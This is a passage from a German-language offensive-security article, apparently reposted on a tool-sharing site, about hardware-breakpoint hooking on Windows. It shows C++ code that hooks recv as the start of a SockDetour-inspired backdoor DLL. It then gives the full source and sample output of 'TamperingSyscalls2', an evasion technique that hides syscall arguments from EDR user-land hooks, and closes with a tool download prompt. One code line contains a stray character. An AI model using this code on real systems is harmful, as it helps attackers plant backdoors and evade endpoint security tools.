        SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
            &context);

        ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

        ExceptionInfo->ContextRecord->Rax = status;

        ExceptionInfo->ContextRecord->Rip =
            FindRetAddr(ExceptionInfo->ContextRecord->Rip);
    }) };


Sleep(1000000);

for (unsigned int i = 0; i < 2; ++i) {
    HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
    if (t) WaitForSingleObject(t, INFINITE);
}

if (handler) RemoveVectoredExceptionHandler(handler);

}

////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ //////////////////////////////////////////////////////////////////////////////////////////

root@kitploit:~
Nachdem wir die Theorie angewendet haben, um eine vielseitige Hardware-Breakpoint-Hooking-Engine zu erstellen,
werden wir weiterhin eine Mischung aus Debug-Registern und PAGE_GUARDs verwenden, wie in unseren
vorherigen Beispielen gezeigt, um eine von SockDetour [3] inspirierte Hintertür als DLL in C++ zu implementieren. Wir
werden einen Hardware-Breakpoint auf die recv-Funktion setzen, um dies zu erreichen, und die
erforderliche Logik im entsprechenden Lambda aufbauen. Wir werden außerdem einen PAGE_GUARD auf
NtCreateThreadEx anwenden und unsere vorherige Technik nutzen, den Thread in einem angehaltenen
Zustand zu erstellen, um die richtigen Debug-Register zu setzen.

Trotz der trägen Natur von PAGE_GUARD-Hooks sollte dies kein Problem sein, solange das
Servermodell nicht für jede Anfrage einen neuen Thread erstellt, was zu subliminaler
Leistung führt. Die meisten Netzwerk-Servermodelle unterhalten einen Pool von Threads, die
beim Programmstart gestartet und initialisiert werden. Für weitere Einblicke in diese Servermodelle
stellt Microsoft eine Vielzahl von Beispielen auf Github [4] bereit; das IOCP-Beispiel ist ein hervorragendes
Beispiel dafür, wie ein leistungsfähiges, skalierbares Servermodell aussieht, als Kontext.

Der Anfang Ihrer Hintertür könnte so aussehen:

```cpp
HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
	GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		char verbuf[9]{ 0 };
		int	verbuflen{ 9 }, recvlen{ 0 };

		recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
				   verbuflen, MSG_PEEK);

		BYTE TLS[] = { 0x17, 0x03, 0x03 };

		if (recvlen >= 3) {
			if ((memcmp(verbuf, TLS, 3) == 0))1
			{
				MSG_AUTH msg{ 0 };
				// We'll peek like SockDetour as to not eat the message
				recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
					sizeof(MSG_AUTH), MSG_PEEK);
					// Authenticate and proceed

			}
		}

		// Set corresponding Dr
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
			}
		}

		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };

Zum Abschluss implementieren wir eine generische x64-Userland-Evasion-Technik, inspiriert von TamperingSyscalls, die eine geeignet modifizierte Version der Hardware-Breakpoint-Engine, die wir zuvor gezeigt haben, verwendet, um bis zu 12 Argumente von bis zu beliebigen 4 Nt-Syscalls zu jeder beliebigen Zeit pro Thread zu verbergen. Beachten Sie, dass ich mich entschieden habe, den Inhalt der Debug-Register nicht auf alle Threads zu übertragen, da dies wahrscheinlich unerwünscht wäre (falls gewünscht, ersetzen Sie SetHWBP durch SetHWBPS).

Ich brauche nicht zu beschreiben, warum dies wünschenswert und super EPIC wäre, noch mich mit Userland- Hooking zu befassen, da dies nicht die Themen sind, die anstehen oder von Belang sind, und sie wurden bereits mehrfach ausführlich behandelt [5].

Wir erstellen ein neues Mapping mit (address | ThreadID) als eindeutigem Schlüssel, und der Wert ist eine Struktur, die die Funktionsargumente enthält. Wir werden beim Eintritt in den Syscall einen neuen Eintrag in unserem Mapping erstellen und die Werte in den Registern und auf dem Stack löschen.

Wir verwenden Single-Stepping (über das Trap-Flag), um vorzutäuschen, dass wir mehr Debug- Register haben, als wir tatsächlich haben. Wir können dies tun, da wir wissen, wann und wo wir bestimmte Aktionen benötigen.

Wenn wir die gewünschte Syscall-Adresse erreichen, stellen wir unsere Werte aus dem Hashmap-Eintrag wieder her, der unserem Schlüssel zugeordnet ist. Dies gibt die Werte vom Stack in den Registern zurück. Wir fahren dann mit dem Single-Stepping fort, bis zur return-Anweisung, wo wir das Single- Stepping beenden und weitermachen!

Dies ermöglicht uns letztlich typenloses Hooking. Außerdem haben wir anfänglich festgelegt, dass wir nur 12 Argumente verbergen, 4 aus den Registern und 8 vom Stack. Dieser "8"-Wert ist nur willkürlich, aber empfehlenswert, und das Verbergen oder Ändern weiterer Werte/Argumente auf dem Stack kann unerwünschtes Verhalten hervorrufen.

Unser Aufrufstapel sollte bereits von einer geeigneten DLL stammen, und daher sollten Sie keine Native-Funktionen aufrufen müssen und können einen geeigneten Wrapper aus jeder DLL aufrufen, sofern Sie den Konstruktor mit der Native-Funktionsadresse in NTDLL aufrufen.

Das ist trivial und kann durch Ändern des Makros erreicht werden: #define STK_ARGS 8 // 12 - 4 = 8 - should cover most Nt functions.

Im Beispiel zeigen wir, dass es mit NtCreateThreadEx und NtCreateMutant funktioniert! Stellen Sie sicher, dass Sie die 4 Debug-Register nur einzeln pro Thread verwenden. Sobald Sie mit einer bestimmten Funktion fertig sind, können Sie das zugehörige Debug-Register freigeben, indem Sie die RemoveHWBPS-Methode aufrufen.

  1. Wenn (addr == entry.first) bedeutet dies, dass wir uns an der mov r10, rcx-Anweisung befinden
  • Wir speichern unsere Argumente in unserem Hashmap-Eintrag mit dem Schlüssel (TID | address)

const auto key = (address + 0x12) | GetCurrentThreadId();

SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx; SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx; SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8; SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; SYSCALL_MAP[key].stk[idx] = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset); }

  • Wir setzen diese Argumentwerte dann auf 0 (kann ein beliebiger anderer Wert sein)

ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->Rdx = 0; ExceptionInfo->ContextRecord->R8 = 0; ExceptionInfo->ContextRecord->R9 = 0; // ...

  • Wir setzen dann das Resume Flag in Bit 16 und das Trap Flag in Bit 8
  • Dies setzt die Ausführung wie gewohnt fort und beeinträchtigt die Leistung nur minimal.

ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag

  1. Fahren Sie mit dem Single-Stepping fort, bis (addr == entry.second.sysc)
  • Wir befinden uns nun an der syscall-Anweisung und sind an allen Userland-Hooks vorbei
  • Wir stellen unsere Argumente mit dem vorherigen Nachschlage-Schlüssel (TID | address) wieder her.```c auto const key = (address | GetCurrentThreadId());

// mov rcx, r10 ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx; ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8; ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = SYSCALL_MAP[key].stk[idx]; }

root@kitploit:~
- Wir werden wieder im Einzelschritt vorgehen.
 
3. Wir befinden uns jetzt bei  (address == ai.return_addr)
 - Wir können jetzt das Einzelschrittverfahren beenden und nur das Resume Flag setzen (nicht das Trap Flag)
 - Dies wird die Ausführung wie gewohnt fortsetzen und die Leistung nur minimal beeinträchtigen. 

Die zuvor beschriebene Technik wird implementiert, mit dem Fokus, ALLE Argumente von 
der MEHRHEIT nativer Syscalls zu verbergen! Und so genießen Sie diese elegante und unkomplizierte Lösung 
bei der ich auch die Debug-Print-Anweisungen bereitstelle, damit Sie die Änderungen sehen können, die an 
dem Stack und den Registern vorgenommen werden, sowie die Gedankengänge hinter all dem.```C
//////////////////////////////////////////////////////////////////////////////////////////
/*                              TamperingSyscalls2.cpp - @rad9800                       */
/*                 C++ Generic x64 user-land evasion technique utilizing HWBP.cpp       */
/*                      Hides up to 12 args of up to 4 NT calls per thread              */
//////////////////////////////////////////////////////////////////////////////////////////
#include <windows.h>

#include <tlhelp32.h>
#include <functional>

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Structs                                     */
//////////////////////////////////////////////////////////////////////////////////////////

						// 12 - 4 = 8 - should cover most Nt functions. 
#define STK_ARGS 8			// Increase this value, works until ~100...

typedef struct {
	uintptr_t									syscall_addr;	// +0x12
	uintptr_t									 return_addr;	// +0x14
} ADDRESS_INFORMATION;

typedef struct {
	uintptr_t			Rcx;	// First
	uintptr_t			Rdx;	// Second
	uintptr_t			R8;		// Third
	uintptr_t			R9;		// Fourth
	uintptr_t			stk[STK_ARGS];	// Stack args
} FUNC_ARGS;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Macros                                      */
////////////////////////////////////////////////////////////////////////////////////////// 
#define PRINT_ARGS( State, ExceptionInfo )                              \
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n",            \
    State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());       \
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);       \
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);       \
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);        \
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);        \
for (UINT idx = 0; idx < STK_ARGS; idx++){                              \
    const size_t offset = idx * 0x8 + 0x28;                             \
    printf("%d:\t0x%p\n", (idx + 5), (PVOID)*(PULONG64)                 \
        ((ExceptionInfo)->ContextRecord->Rsp + offset));                \
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Globals                                     */
//////////////////////////////////////////////////////////////////////////////////////////
std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 };
// syscall opcode { 0x55 } address, func args in registers and stack 
std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Functions                                       */
//////////////////////////////////////////////////////////////////////////////////////////
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)
{
	CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
	GetThreadContext(thd, &context);

	if (init) {
		(&context.Dr0)[pos] = address;

		context.Dr7 &= ~(3ull << (16 + 4 * pos));
		context.Dr7 &= ~(3ull << (18 + 4 * pos));
		context.Dr7 |= 1ull << (2 * pos);
	}
	else {
		if ((&context.Dr0)[pos] == address) {
			context.Dr7 &= ~(1ull << (2 * pos));
			(&context.Dr0)[pos] = NULL;
		}
	}

	SetThreadContext(thd, &context);
}

// Find our ret ROP gadget (pointer decay so need explicit size)
uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size)
{
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{
		// memcmp WILL be optimized 
		if (memcmp((LPVOID)(function + i), stub, size) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

DWORD WINAPI TestThread(LPVOID lpParameter);

//////////////////////////////////////////////////////////////////////////////////////////
/*                                        Classes                                       */
//////////////////////////////////////////////////////////////////////////////////////////
struct TS2_HWBP {
private:
	const uintptr_t address;
	UINT			pos;
public:
	TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address },
		pos{ idx % 4 }
	{
		SetHWBP(GetCurrentThread(), address, pos, true);

		BYTE syscop[] = { 0x0F, 0x05 };
		ADDRESS_MAP[address].syscall_addr =
			FindRopAddress(address, syscop, sizeof(syscop));
		BYTE retnop[] = { 0xC3 };
		ADDRESS_MAP[address].return_addr =
			FindRopAddress(address, retnop, sizeof(retnop));
	};

	VOID RemoveHWBPS()
	{
		SetHWBP(GetCurrentThread(), address, pos, false);
	}

	~TS2_HWBP()
	{
		RemoveHWBPS();
	}
};

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Exception Handler                               */
//////////////////////////////////////////////////////////////////////////////////////////
LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)
{
	const auto address = ExceptionInfo->ContextRecord->Rip;
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		for (const auto& [syscall_instr, ai] : ADDRESS_MAP)
		{
			// check we are inside valid syscall instructions
			if ((address >= syscall_instr) && (address <= ai.return_addr)) {
				printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr);
				printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);

				if (address == syscall_instr) // mov r10, rcx
				{
					const auto key = (address + 0x12) | GetCurrentThreadId();

					SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
					SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
					SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
					SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

					for (size_t idx = 0; idx < STK_ARGS; idx++)
					{
						const size_t offset = idx * 0x8 + 0x28;
						SYSCALL_MAP[key].stk[idx] =
							*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
					}

					PRINT_ARGS("HIDING", ExceptionInfo);

					ExceptionInfo->ContextRecord->Rcx = 0;
					ExceptionInfo->ContextRecord->Rdx = 0;
					ExceptionInfo->ContextRecord->R8 = 0;
					ExceptionInfo->ContextRecord->R9 = 0;

					for (size_t idx = 0; idx < STK_ARGS; idx++)
					{
						const size_t offset = idx * 0x8 + 0x28;
						*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
					}

					PRINT_ARGS("HIDDEN", ExceptionInfo);

					ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
				}
				else if (address == ai.syscall_addr)
				{
					auto const key = (address | GetCurrentThreadId());

					// SSN in ExceptionInfo->ContextRecord->Rax

					// mov rcx, r10 
					ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
					ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
					ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
					ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
					ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

					for (size_t idx = 0; idx < STK_ARGS; idx++)
					{
						const size_t offset = idx * 0x8 + 0x28;
						*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
							SYSCALL_MAP[key].stk[idx];
					}

					PRINT_ARGS("RESTORED", ExceptionInfo);

					SYSCALL_MAP.erase(key);
				}
				else if (address == ai.return_addr)
				{
					ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
					return EXCEPTION_CONTINUE_EXECUTION;
				}
				ExceptionInfo->ContextRecord->EFlags |= (1 << 8);	// Trap Flag
				return EXCEPTION_CONTINUE_EXECUTION;
			}
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Entry                                       */
//////////////////////////////////////////////////////////////////////////////////////////
int main()
{
	const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);

	TS2_HWBP TS2NtCreateThreadEx{
		(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
		"NtCreateThreadEx")),
		0
	};

	for (unsigned int i = 0; i < 2; ++i) {
		HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
		if (t) WaitForSingleObject(t, INFINITE);
	}

	TS2NtCreateThreadEx.RemoveHWBPS();

	if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}

DWORD WINAPI TestThread(LPVOID lpParameter)
{
	UNREFERENCED_PARAMETER(lpParameter);
	printf("\n----TestThread----\n\n");

	TS2_HWBP TS2NtCreateMutant{
		(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
		"NtCreateMutant")),
		0
	};

	HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
	if (m) CloseHandle(m);

	return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////
/*                                          EOF                                         */
//////////////////////////////////////////////////////////////////////////////////////////

Hier ist eine Beispielausgabe, die zeigt, wie die Argumente für NtCreateThreadEx ausgeblendet werden.``` 0x00007FFBDF485400 >= 0x00007FFBDF485400 0x00007FFBDF485400 <= 0x00007FFBDF485414 HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc 1: 0x00000062618FF8D8 2: 0x00000000001FFFFF 3: 0x0000000000000000 4: 0xFFFFFFFFFFFFFFFF 5: 0x00007FF79FB01FA0 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x00000062618FF9F0 12: 0x000001C700000000 HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc 1: 0x0000000000000000 2: 0x0000000000000000 3: 0x0000000000000000 4: 0x0000000000000000 5: 0x0000000000000000 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x0000000000000000 12: 0x0000000000000000 0x00007FFBDF485403 >= 0x00007FFBDF485400 0x00007FFBDF485403 <= 0x00007FFBDF485414 0x00007FFBDF485408 >= 0x00007FFBDF485400 0x00007FFBDF485408 <= 0x00007FFBDF485414 0x00007FFBDF485410 >= 0x00007FFBDF485400 0x00007FFBDF485410 <= 0x00007FFBDF485414 0x00007FFBDF485412 >= 0x00007FFBDF485400 0x00007FFBDF485412 <= 0x00007FFBDF485414 RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc 1: 0x00000062618FF8D8 2: 0x00000000001FFFFF 3: 0x0000000000000000 4: 0xFFFFFFFFFFFFFFFF 5: 0x00007FF79FB01FA0 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x00000062618FF9F0 12: 0x000001C700000000 0x00007FFBDF485414 >= 0x00007FFBDF485400 0x00007FFBDF485414 <= 0x00007FFBDF485414

----TestThread---- [...]

root@kitploit:~
TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7

TamperingSyscalls2 (aktualisiert) - https://godbolt.org/z/edf9v1Wj6

TamperingSyscalls2 (reines C) - https://godbolt.org/z/9va7YzEe9

Der geteilte Code sollte für die meisten Syscalls funktionieren, allerdings solltest du ihn vor der Verwendung testen. Die einzige größere Einschränkung der vorgestellten Arbeiten ist die Abhängigkeit von Hashmaps (std::unordered_map), die intern indirekt verschiedene native Funktionen aufrufen, wie z. B. NtAllocateVirtualMemory, was uns daran hindert, sie zu hooken. Dies kann mit minimalem Aufwand für die Arbeit mit x86 umfunktioniert werden.

In Zukunft könntest du die Bibliotheken so modifizieren, dass sie Single-Stepping nutzen, wie im letzten Beispiel gezeigt. Du müsstest wissen, wann du das Single-Stepping beenden möchtest (eine Adresse oder einen Bereich), und es entsprechend tun. Dies kann auch für das PAGE_GUARD-Hooking verwendet werden.

Du könntest auch `AddVectoredExceptionHandler` durch Folgendes ersetzen:
`SetUnhandledExceptionFilter(ExceptionHandler);`


References:

[1] [https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler](https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler)

[2] [https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)

[3] [https://unit42.paloaltonetworks.com/sockdetour/](https://unit42.paloaltonetworks.com/sockdetour/)

[4] [https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/](https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/)

[5] [https://fool.ish.wtf/2022/08/tamperingsyscalls.html](https://fool.ish.wtf/2022/08/tamperingsyscalls.html)

[6] [https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs)

Mit all dem möchte ich positiv abschließen; ich hoffe, du hast die ROH UNÜBERTROFFENE Kraft von Hardware-Breakpoints verstanden!!!

Grüße an jonas, hjonk, smelly, mez0 und die anderen Geezer ;)```
                                                        .                                 
                                                        ~.          .                     
                                                        !~        :^.                     
                                                       ^77^    :~!7:                      
                                                     .~!^.     ~7!!                       
                                                    :!:       :7^.                        
                                                   ~!.       ~!     ...:^~.               
                                                  !7.      .!^      !!!~:                 
                                                 ~7.      ^7:      .7~.                   
        .:^::.                                  .7!      !!        !~                     
     ....:::^~!~.                                !!:   .7^       .!^                      
             .:^~:.                              :!!:.^!.      .~7.                       
               ~^^~?^.                             :!!!~:::::^~7~                         
               .^:~!7!^.                           ^7^:^~~~~~^:                           
                 :^~^:~7~.                       .77~                                     
                 :~~:^^~~!!:                    :~~.                -your mate     
				 .!7~:::~!~~!!^                 .!^.       ^^.       		rad   
                !?^^.::^~~~777!~.             ^7.           .^~^:                         
              ^??~^:.:::^~~~!!~!7!!^.       .!!               .~98.            ...^~~~^:  
          .~7JJ~:^::::::^~~^~~!!~!7JY?^.:...::           ::    .~?5:        .?G5Y7!:      
    .:^7JJ777^^~~~~~^^^:^!~~~!7???J7~:^^::....           ...  . ^!7.^:.:~  JBYJ~.         
 .^?5J!~^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....~^::...   .: ::~7!.:~^^::^^ ?B7:: .....     
~^^~!!!^^~~!!77777~~~~!~!!777????!::..:.. . .^~!!77~~!~^~^ .:. ...^~:  . !B7. ~~::.       
:.    .^!?7:::^^^!!7??J?7!!!!7?7:::.  ... .^!77!~^:~!!~:~.       ..:     J?   ...      .^~
        .^!J:^~^^:::^~7?YYYJ7!!..:.  :^^^~77?777!~::^^  .    . .......  ..   .. ...:~~~!!~
         .~~?:^^^^:^^^~^^~!7!~7!:. .^:^777!7??7!!!^:~:   .   .  ....::.....    .^~~~^^~^~^
          ^^7^^!~^^~^^~~~:.:..^!~:^^:~7??7????7!!~^:~:   .   ... ..........   .~J?7!~~^^^^
          .~!~^!^^^^^~^..:~^....:~~.^!7JYY5YJJ?77!:.^~   ..   .:..~..  ....   :5Y?7777~~~^
          :~7^^~^^~~~:..::^^:. :!^..:~!!!77???JJ?!^~~!!:.      .^::::.::^..: .~J?7~~^^^^^^
          ~!!.^~!!!^.::::...  ^~:..~7JJJ??777!~!!!!!~~~^.      .......^^^ ...!J?77!!77?7!~
         ^7!::~!!^:..:^::.. .~^...^~!77????77!~~~~^^!?!~.  .  ..  .::..:.  .^~7Y5YYYJ???!!
        ^?7::^^~!. :::::.  :~: ...    .....::::^^^~!!!^.     ....:!?~!7!. .^..:?5YYJ?777!!
       ~?7^^!!7!: ..:...  ^~::.:^~^:::....                      ..:::~!!..7JJYYYYJJJ??J?JJ
     :7!~::~~~~:  ...   .~^:.:::...^~^:::::......  .........        :!:  ~~!7??JJJJJ???777
  .:~^~~7!!77!!^       :^:................::....:::.....:.:..       :!: :77J?7!!7??77!~~~~
?J5~7~!!!77!!!!!~^:...~^.         ..     ........:^^^^:....:....    :!. .~?Y5YJ??J?7!~^^^^
~^::~!!!!!77!!~~~!7!~!^:^~~~~^:..             ....:::^^^::........  :~    .^?JJYJJ777!~^^^
      .^??~^!!~^^::~~~^:~!~~!77!!~^^^:.        .....::::^:..  ....  ^^   .. ..:7J5YJJ?!!~~
        .~J!~~~^^:~^::::^^^^!7!!~~~~!!^.        .. ...::^......... .^::..:...  .^755YJ???7
         .^7~^~:^!^:^:^^^^^~!!!!~~~~~~:.            .. ...:... .....:^^^:^:::    ^JYYY?!~~
           ^!~:~!~^:^^~~~!~~~~~~~!7!!~:      . .      .. .....  .:..:^^::::..    .?Y?!!!!~
           :!^~^^::::^~~^~~~~~~~!7!77~.  .  .    .     .       ......:::..    .   ^7!7?7~~
Tool herunterladen